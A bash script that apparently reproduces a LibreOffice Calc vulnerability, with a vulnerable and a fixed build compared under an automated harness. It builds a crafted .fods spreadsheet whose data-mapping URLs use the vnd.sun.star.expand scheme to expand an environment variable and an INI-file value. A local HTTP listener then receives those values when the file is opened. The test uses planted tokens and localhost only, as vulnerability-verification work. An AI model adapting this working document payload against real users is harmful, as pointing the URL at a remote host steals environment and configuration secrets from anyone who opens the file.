#!/bin/bash
# CVE-2026-63270 - LibreOffice environment/INI-value exfiltration via
# document-supplied URLs (Calc csv data provider / calcext:data-mappings,
# XForms-class document URLs).
#
# Claim: A crafted spreadsheet document contains calcext:data-mapping URLs that
# use the internal vnd.sun.star.expand: scheme wrapping an http URL with
# ${ENV_VAR} / ${file:///path.ini:Section:Key} macros. When the document is
# opened in LibreOffice Calc, the csv data provider fetches the URL, the macros
# are expanded with the victim's environment variable / INI file values, and
# the expanded values are sent to the (remote) HTTP server.
#
# Fixed in LibreOffice 26.2.5: document-supplied URLs with internal schemes
# are refused (INetURLObject::IsExoticProtocol, commit c3355f20dcd5) and data
# mappings no longer refresh on load without link-update permission.
#
# Vulnerable build : LibreOffice 26.2.4.2 (buildid 0229ac93fcf0d7cbc6376066c6f35021cef002dc = tag libreoffice-26.2.4.2)
# Fixed control    : LibreOffice 26.2.5.2 (buildid cd7284b4cbbfeb507e630c1aac019f4157393acb = tag libreoffice-26.2.5.2)
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF="$REPRO_DIR/proof"
mkdir -p "$LOGS" "$REPRO_DIR" "$PROOF" "$LOGS/attempts"

VULN_VERSION="26.2.4.2"
FIXED_VERSION="26.2.5.2"
VULN_BUILDID="0229ac93fcf0d7cbc6376066c6f35021cef002dc"
FIXED_BUILDID="cd7284b4cbbfeb507e630c1aac019f4157393acb"
VULN_TARBALL_SHA256="810ef197e190d7804a60e0016052c46ff33792303a200fddda9d5216a64b9900"
FIXED_TARBALL_SHA256="2f03bfb2ac9f33ea7c77331b4b7a23300fb0ed7443566046bf8b5bc51c1bed1e"
DL_BASE="https://downloadarchive.documentfoundation.org/libreoffice/old"

ROLES="vulnerable-1 vulnerable-2 vulnerable-open-1 fixed-1 fixed-2 fixed-open-1"

log() { echo "[repro] $(date -u +%H:%M:%S) $*" | tee -a "$LOGS/reproduction_steps.log"; }

# ---------------------------------------------------------------- preflight
for t in curl dpkg python3 sha256sum timeout tee; do
  command -v "$t" >/dev/null 2>&1 || { echo "missing tool: $t" >&2; exit 1; }
done

# honour the prepared project cache context when present (informational here:
# the runtime target is the official TDF product build, not a source checkout)
if [ -f "$ROOT/project_cache_context.json" ]; then
  PREPARED=$(python3 -c 'import json,sys;print(json.load(open(sys.argv[1])).get("prepared"))' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
  log "project_cache_context prepared=${PREPARED:-none}"
fi

# ------------------------------------------------------- runtime shared libs
APT_PKGS="libxinerama1 libxext6 libxrender1 libxrandr2 libxi6 libxcursor1 libxdamage1 libxfixes3 libcairo2 libdbus-1-3 libnss3 libnspr4 libfontconfig1 libfreetype6 libx11-xcb1"
SUDO=""
if [ "$(id -u)" != 0 ]; then SUDO="sudo"; fi
MISSING=""
for p in $APT_PKGS; do
  dpkg -s "$p" >/dev/null 2>&1 || MISSING="$MISSING $p"
done
if [ -n "$MISSING" ]; then
  log "installing apt packages:$MISSING"
  $SUDO apt-get update -qq >/dev/null 2>&1 || true
  # package names differ between distro releases (t64 suffix); try alternates
  ALT=$(echo "$MISSING" | sed -e "s/libcups2$/libcups2t64/" -e "s/libglib2.0-0t64/libglib2.0-0/" -e "s/libfreetype6$/libfreetype6t64/" -e "s/libpng16-16$/libpng16-16t64/")
  $SUDO apt-get install -y -qq $MISSING >/dev/null 2>&1 || \
    $SUDO apt-get install -y -qq $ALT >/dev/null 2>&1 || true
fi
for p in $APT_PKGS; do
  dpkg -s "$p" >/dev/null 2>&1 || log "WARN: package $p still missing (may break product startup)"
done

# ------------------------------------------------------- product acquisition
# heavy product installs live outside the (small) bundle workspace; prefer a
# caller-provided dir, then any writable dir with >= 3 GiB free
WORK="${PRUVA_WORK:-}"
if [ -z "$WORK" ]; then
  for c in /tmp/cve-2026-63270-work /var/tmp/cve-2026-63270-work "$ROOT/artifacts/libreoffice" /pruva/project-cache/products; do
    if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then
      free_kb=$(df -Pk "$c" 2>/dev/null | awk 'NR==2{print $4}')
      if [ -n "${free_kb:-}" ] && [ "$free_kb" -ge 3145728 ]; then WORK="$c"; break; fi
    fi
  done
fi
if [ -z "$WORK" ]; then WORK="/tmp/cve-2026-63270-work"; mkdir -p "$WORK"; fi
ART="$WORK"
log "product work dir: $ART"

fetch_product() {
  local ver="$1" want_sha="$2"
  local tarball="$ART/LibreOffice_${ver}_Linux_x86-64_deb.tar.gz"
  if [ -f "$tarball" ]; then
    local got; got=$(sha256sum "$tarball" | awk '{print $1}')
    if [ "$got" = "$want_sha" ]; then
      log "cached tarball ok: $ver ($got)"
      return 0
    fi
    log "cached tarball digest mismatch for $ver, re-downloading"
    rm -f "$tarball"
  fi
  log "downloading LibreOffice ${ver} deb tarball from downloadarchive"
  curl -fSL --retry 3 -o "$tarball" "$DL_BASE/$ver/deb/x86_64/LibreOffice_${ver}_Linux_x86-64_deb.tar.gz"
  local got; got=$(sha256sum "$tarball" | awk '{print $1}')
  if [ "$got" != "$want_sha" ]; then
    log "FATAL: tarball digest mismatch for $ver: $got"
    exit 1
  fi
}

install_product() {
  local ver="$1" want_sha="$2" want_buildid="$3"
  local inst="$ART/$ver/root/opt/libreoffice26.2/program"
  if [ -x "$inst/soffice" ] && [ -f "$inst/versionrc" ]; then
    local bid; bid=$(grep '^buildid=' "$inst/versionrc" | cut -d= -f2)
    if [ "$bid" = "$want_buildid" ]; then
      log "cached install ok: $ver buildid=$bid"
      return 0
    fi
  fi
  fetch_product "$ver" "$want_sha"
  local stage="$ART/$ver/stage"
  rm -rf "$stage"; mkdir -p "$stage"
  log "extracting $ver debs"
  tar xzf "$ART/LibreOffice_${ver}_Linux_x86-64_deb.tar.gz" -C "$stage" --strip-components=1
  rm -rf "$ART/$ver/root"; mkdir -p "$ART/$ver/root"
  for d in "$stage"/DEBS/*.deb; do dpkg -x "$d" "$ART/$ver/root"; done
  rm -rf "$stage"
  local bid; bid=$(grep '^buildid=' "$inst/versionrc" | cut -d= -f2)
  if [ "$bid" != "$want_buildid" ]; then
    log "FATAL: installed $ver has unexpected buildid=$bid"
    exit 1
  fi
  log "installed $ver buildid=$bid at $inst"
}

install_product "$VULN_VERSION" "$VULN_TARBALL_SHA256" "$VULN_BUILDID"
install_product "$FIXED_VERSION" "$FIXED_TARBALL_SHA256" "$FIXED_BUILDID"
VULN_SOFFICE="$ART/$VULN_VERSION/root/opt/libreoffice26.2/program/soffice"
FIXED_SOFFICE="$ART/$FIXED_VERSION/root/opt/libreoffice26.2/program/soffice"

# ------------------------------------------------------------- http listener
ACCESSLOG="$LOGS/server-access.log"
rm -f "$ACCESSLOG"
cat > "$LOGS/http_listener.py" <<'PYEOF'
import sys, time
from http.server import BaseHTTPRequestHandler, HTTPServer

access_log, port_file = sys.argv[1], sys.argv[2]

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        with open(access_log, "a") as f:
            f.write("%s %s %s\n" % (time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
                                    self.client_address[0], self.requestline))
        body = b"leaked,ok\n"
        self.send_response(200)
        self.send_header("Content-Type", "text/csv")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def log_message(self, *a):
        pass

srv = HTTPServer(("127.0.0.1", 0), H)
with open(port_file, "w") as f:
    f.write(str(srv.server_address[1]))
srv.serve_forever()
PYEOF
PORTFILE="$LOGS/listener-port.txt"
rm -f "$PORTFILE"
python3 "$LOGS/http_listener.py" "$ACCESSLOG" "$PORTFILE" &
LISTENER_PID=$!
for i in $(seq 1 50); do [ -s "$PORTFILE" ] && break; sleep 0.1; done
[ -s "$PORTFILE" ] || { log "FATAL: listener failed to bind"; kill $LISTENER_PID 2>/dev/null; exit 1; }
PORT=$(cat "$PORTFILE")
log "attacker HTTP listener (the remote exfiltration server) on 127.0.0.1:$PORT pid=$LISTENER_PID"

# healthcheck of the listener
curl -fsS "http://127.0.0.1:$PORT/healthcheck" >/dev/null
HEALTH_OK="no"
grep -q "GET /healthcheck" "$ACCESSLOG" && HEALTH_OK="yes"
log "listener healthcheck passed: $HEALTH_OK"
[ "$HEALTH_OK" = "yes" ] || { log "FATAL: listener healthcheck failed"; kill $LISTENER_PID 2>/dev/null; exit 1; }

# ------------------------------------------------------------ craft document
rand_hex() { head -c 8 /dev/urandom | od -An -tx1 | tr -d ' \n'; }

craft_document() {
  # $1 out.fods  $2 ini path  $3 port
  python3 - "$1" "$2" "$3" <<'PYEOF'
import sys
out_fods, ini_path, port = sys.argv[1], sys.argv[2], sys.argv[3]
# osl_openProfile expects a file URL; the ':' separators inside the macro must
# be escaped so the bootstrap macro parser keeps them in the file-path segment
ini_url = "file\\:///" + ini_path.lstrip("/") + ":Secrets:Token"
doc = (
 '<?xml version="1.0" encoding="UTF-8"?>\n'
 '<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"'
 ' xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0"'
 ' xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"'
 ' xmlns:xlink="http://www.w3.org/1999/xlink"'
 ' xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0"'
 ' office:version="1.3" office:mimetype="application/vnd.oasis.opendocument.spreadsheet">\n'
 ' <office:body>\n'
 '  <office:spreadsheet>\n'
 '   <table:table table:name="Sheet1">\n'
 '    <table:table-column/>\n'
 '    <table:table-column/>\n'
 '    <table:table-row>\n'
 '     <table:table-cell office:value-type="string"><text:p>unchanged1</text:p></table:table-cell>\n'
 '     <table:table-cell office:value-type="string"><text:p>unchanged2</text:p></table:table-cell>\n'
 '    </table:table-row>\n'
 '   </table:table>\n'
 '   <table:database-ranges>\n'
 '    <table:database-range table:name="myImport1" table:target-range-address="Sheet1.A1:Sheet1.A1"/>\n'
 '    <table:database-range table:name="myImport2" table:target-range-address="Sheet1.B1:Sheet1.B1"/>\n'
 '   </table:database-ranges>\n'
 '   <calcext:data-mappings>\n'
 '    <calcext:data-mapping xlink:href="vnd.sun.star.expand:http://127.0.0.1:__PORT__/env?token=${PRUVA63270_SECRET}"'
 ' calcext:provider="org.libreoffice.calc.csv" calcext:frequency="0" calcext:id="" calcext:database-name="myImport1"/>\n'
 '    <calcext:data-mapping xlink:href="vnd.sun.star.expand:http://127.0.0.1:__PORT__/ini?value=${__INI__}"'
 ' calcext:provider="org.libreoffice.calc.csv" calcext:frequency="0" calcext:id="" calcext:database-name="myImport2"/>\n'
 '   </calcext:data-mappings>\n'
 '  </office:spreadsheet>\n'
 ' </office:body>\n'
 '</office:document>\n'
).replace("__PORT__", port).replace("__INI__", ini_url)
with open(out_fods, "w") as f:
    f.write(doc)
PYEOF
}

run_attempt() {
  # $1 role  $2 version  $3 soffice  $4 buildid  $5 entry (convert|open)
  local role="$1" version="$2" soffice_bin="$3" buildid="$4" entry="$5"
  local proof="$PROOF/$role"
  rm -rf "$proof"; mkdir -p "$proof"
  local envtoken initoken
  envtoken="PRUVA-CVE-2026-63270-${role}-ENV-$(rand_hex)"
  initoken="PRUVA-CVE-2026-63270-${role}-INI-$(rand_hex)"
  printf '[Secrets]\nToken=%s\n' "$initoken" > "$proof/secret.ini"
  craft_document "$proof/crafted.fods" "$proof/secret.ini" "$PORT"
  local profdir="$proof/profile" outdir="$proof/converted"
  rm -rf "$profdir" "$outdir"; mkdir -p "$profdir" "$outdir"
  {
    echo "=== attempt: $role (LibreOffice $version buildid $buildid, entry=$entry) ==="
    echo "env-token: $envtoken"
    echo "ini-token: $initoken"
    echo "document: $proof/crafted.fods"
  } > "$LOGS/attempts/$role.log"
  set +e
  if [ "$entry" = "open" ]; then
    # direct viewer open of the crafted document in an isolated soffice process
    log "directly opening crafted document in LibreOffice $version ($role)"
    PRUVA63270_SECRET="$envtoken" timeout 60 "$soffice_bin" \
        --headless --norestore -env:UserInstallation="file://$profdir" \
        "$proof/crafted.fods" >> "$LOGS/attempts/$role.log" 2>&1
  else
    log "opening crafted document in LibreOffice $version ($role)"
    PRUVA63270_SECRET="$envtoken" timeout 150 "$soffice_bin" \
        --headless --norestore --convert-to ods --outdir "$outdir" \
        -env:UserInstallation="file://$profdir" \
        "$proof/crafted.fods" >> "$LOGS/attempts/$role.log" 2>&1
  fi
  local rc=$?
  set -e
  echo "soffice exit code: $rc (124=expected timeout for the open entry)" >> "$LOGS/attempts/$role.log"
  # wait for any async fetch to be logged (longer for the open entry)
  local maxwait=30
  if [ "$entry" = "open" ]; then maxwait=20; fi
  local waited=0
  while [ $waited -lt $maxwait ]; do
    if grep -q "$envtoken" "$ACCESSLOG" 2>/dev/null && grep -q "$initoken" "$ACCESSLOG" 2>/dev/null; then break; fi
    sleep 1; waited=$((waited+1))
  done
  # finalized per-attempt evidence: listener request lines carrying this attempt's secrets
  { grep "$envtoken" "$ACCESSLOG" 2>/dev/null || true; grep "$initoken" "$ACCESSLOG" 2>/dev/null || true; } > "$proof/exfil-capture.txt"
  local env_leak="no" ini_leak="no"
  grep -q "$envtoken" "$proof/exfil-capture.txt" && env_leak="yes"
  grep -q "$initoken" "$proof/exfil-capture.txt" && ini_leak="yes"
  if [ "$env_leak" = "yes" ] || [ "$ini_leak" = "yes" ]; then
    echo "CVE-2026-63270_EXFIL_MARKER_$role" > "$PROOF/$role.marker"
  fi
  log "attempt $role (entry=$entry) result: env_leak=$env_leak ini_leak=$ini_leak (waited ${waited}s, soffice rc=$rc)"
  printf '%s\n%s\n' "$env_leak" "$ini_leak" > "$proof/result.txt"
}

# six isolated attempts: two convert + one direct-open on each build
run_attempt "vulnerable-1"      "$VULN_VERSION" "$VULN_SOFFICE" "$VULN_BUILDID" "convert"
run_attempt "vulnerable-2"      "$VULN_VERSION" "$VULN_SOFFICE" "$VULN_BUILDID" "convert"
run_attempt "vulnerable-open-1"  "$VULN_VERSION" "$VULN_SOFFICE" "$VULN_BUILDID" "open"
run_attempt "fixed-1"           "$FIXED_VERSION" "$FIXED_SOFFICE" "$FIXED_BUILDID" "convert"
run_attempt "fixed-2"           "$FIXED_VERSION" "$FIXED_SOFFICE" "$FIXED_BUILDID" "convert"
run_attempt "fixed-open-1"      "$FIXED_VERSION" "$FIXED_SOFFICE" "$FIXED_BUILDID" "open"

# stop the listener so the access log becomes immutable evidence
kill "$LISTENER_PID" 2>/dev/null || true
wait "$LISTENER_PID" 2>/dev/null || true
log "listener stopped; access log finalized"

# ------------------------------------------------------------------ verdict
read_result() {
  local role="$1" idx="$2"  # idx 1=env 2=ini
  sed -n "${idx}p" "$PROOF/$role/result.txt"
}

CONFIRMED="yes"
TARGET_REACHED_VAL=false
for role in $ROLES; do
  env_leak=$(read_result "$role" 1); ini_leak=$(read_result "$role" 2)
  log "attempt $role: env_leak=$env_leak ini_leak=$ini_leak"
  case "$role" in
    vulnerable-*)
      [ "$env_leak" = yes ] && [ "$ini_leak" = yes ] || CONFIRMED="no"
      { [ "$env_leak" = yes ] || [ "$ini_leak" = yes ]; } && TARGET_REACHED_VAL=true
      ;;
    fixed-*)
      { [ "$env_leak" = yes ] || [ "$ini_leak" = yes ]; } && CONFIRMED="no"
      ;;
  esac
done
log "CONFIRMED=$CONFIRMED (all vulnerable attempts leaked env+INI values; no fixed attempt leaked anything)"

# --------------------------------------------------------- runtime manifest
TARBALL="$ART/LibreOffice_${VULN_VERSION}_Linux_x86-64_deb.tar.gz"
SOFFICE_BIN="$ART/$VULN_VERSION/root/opt/libreoffice26.2/program/soffice.bin"
TARBALL_SHA=$(sha256sum "$TARBALL" | awk '{print $1}')
SOFFICE_SHA=$(sha256sum "$SOFFICE_BIN" | awk '{print $1}')

python3 - "$REPRO_DIR/runtime_manifest.json" "$ROOT" "$TARGET_REACHED_VAL" "$CONFIRMED" \
  "$VULN_VERSION" "$FIXED_VERSION" "$VULN_BUILDID" "$FIXED_BUILDID" \
  "$TARBALL_SHA" "$SOFFICE_SHA" $ROLES <<'PYEOF'
import hashlib, json, sys

(manifest_path, root, target_reached, confirmed,
 vuln_version, fixed_version, vuln_buildid, fixed_buildid,
 tarball_sha, soffice_sha) = sys.argv[1:11]
roles = sys.argv[11:]

arts = ["logs/server-access.log"]
for role in roles:
    arts += ["repro/proof/%s/crafted.fods" % role,
             "repro/proof/%s/secret.ini" % role,
             "repro/proof/%s/exfil-capture.txt" % role]

artifact_sha256 = {}
for a in arts:
    with open(root + "/" + a, "rb") as f:
        artifact_sha256[a] = hashlib.sha256(f.read()).hexdigest()

manifest = {
  "entrypoint_kind": "open_document",
  "entrypoint_detail": "LibreOffice Calc opens a crafted .fods whose calcext:data-mapping URLs "
    "(csv provider, vnd.sun.star.expand scheme) expand the victim's process environment variable "
    "(macro ${PRUVA63270_SECRET}) and an INI-file value (macro ${file:///<dir>/secret.ini:Secrets:Token}) "
    "and send both expanded values to the remote HTTP listener on document open",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": target_reached == "true",
  "runtime_stack": ["libreoffice-calc-%s (vulnerable)" % vuln_version,
                    "libreoffice-calc-%s (fixed control)" % fixed_version,
                    "python3-http-listener (attacker exfiltration server)"],
  "target_identity": {
    "repository_url": "https://github.com/libreoffice/core",
    "commit_sha": vuln_buildid,
    "target_digest": tarball_sha,
    "runtime_digest": soffice_sha,
    "platform": "linux",
    "architecture": "x86_64"
  },
  "proof_artifacts": arts,
  "artifact_sha256": artifact_sha256,
  "notes": "Vulnerable LibreOffice %s (buildid %s, tag libreoffice-%s) exfiltrated both a process "
           "environment variable and an INI-file value to the HTTP listener when the crafted "
           "document was opened (convert-to and direct-open entries); fixed control LibreOffice %s "
           "(buildid %s, tag libreoffice-%s) sent nothing. CONFIRMED=%s" %
           (vuln_version, vuln_buildid, vuln_version, fixed_version, fixed_buildid, fixed_version, confirmed)
}
with open(manifest_path, "w") as f:
    json.dump(manifest, f, indent=2)
PYEOF
log "runtime_manifest.json written"

if [ "$CONFIRMED" = "yes" ]; then
  log "RESULT: CVE-2026-63270 CONFIRMED on LibreOffice $VULN_VERSION; fixed $FIXED_VERSION is clean"
  exit 0
else
  log "RESULT: CVE-2026-63270 NOT confirmed (see logs/attempts and repro/proof)"
  exit 1
fi
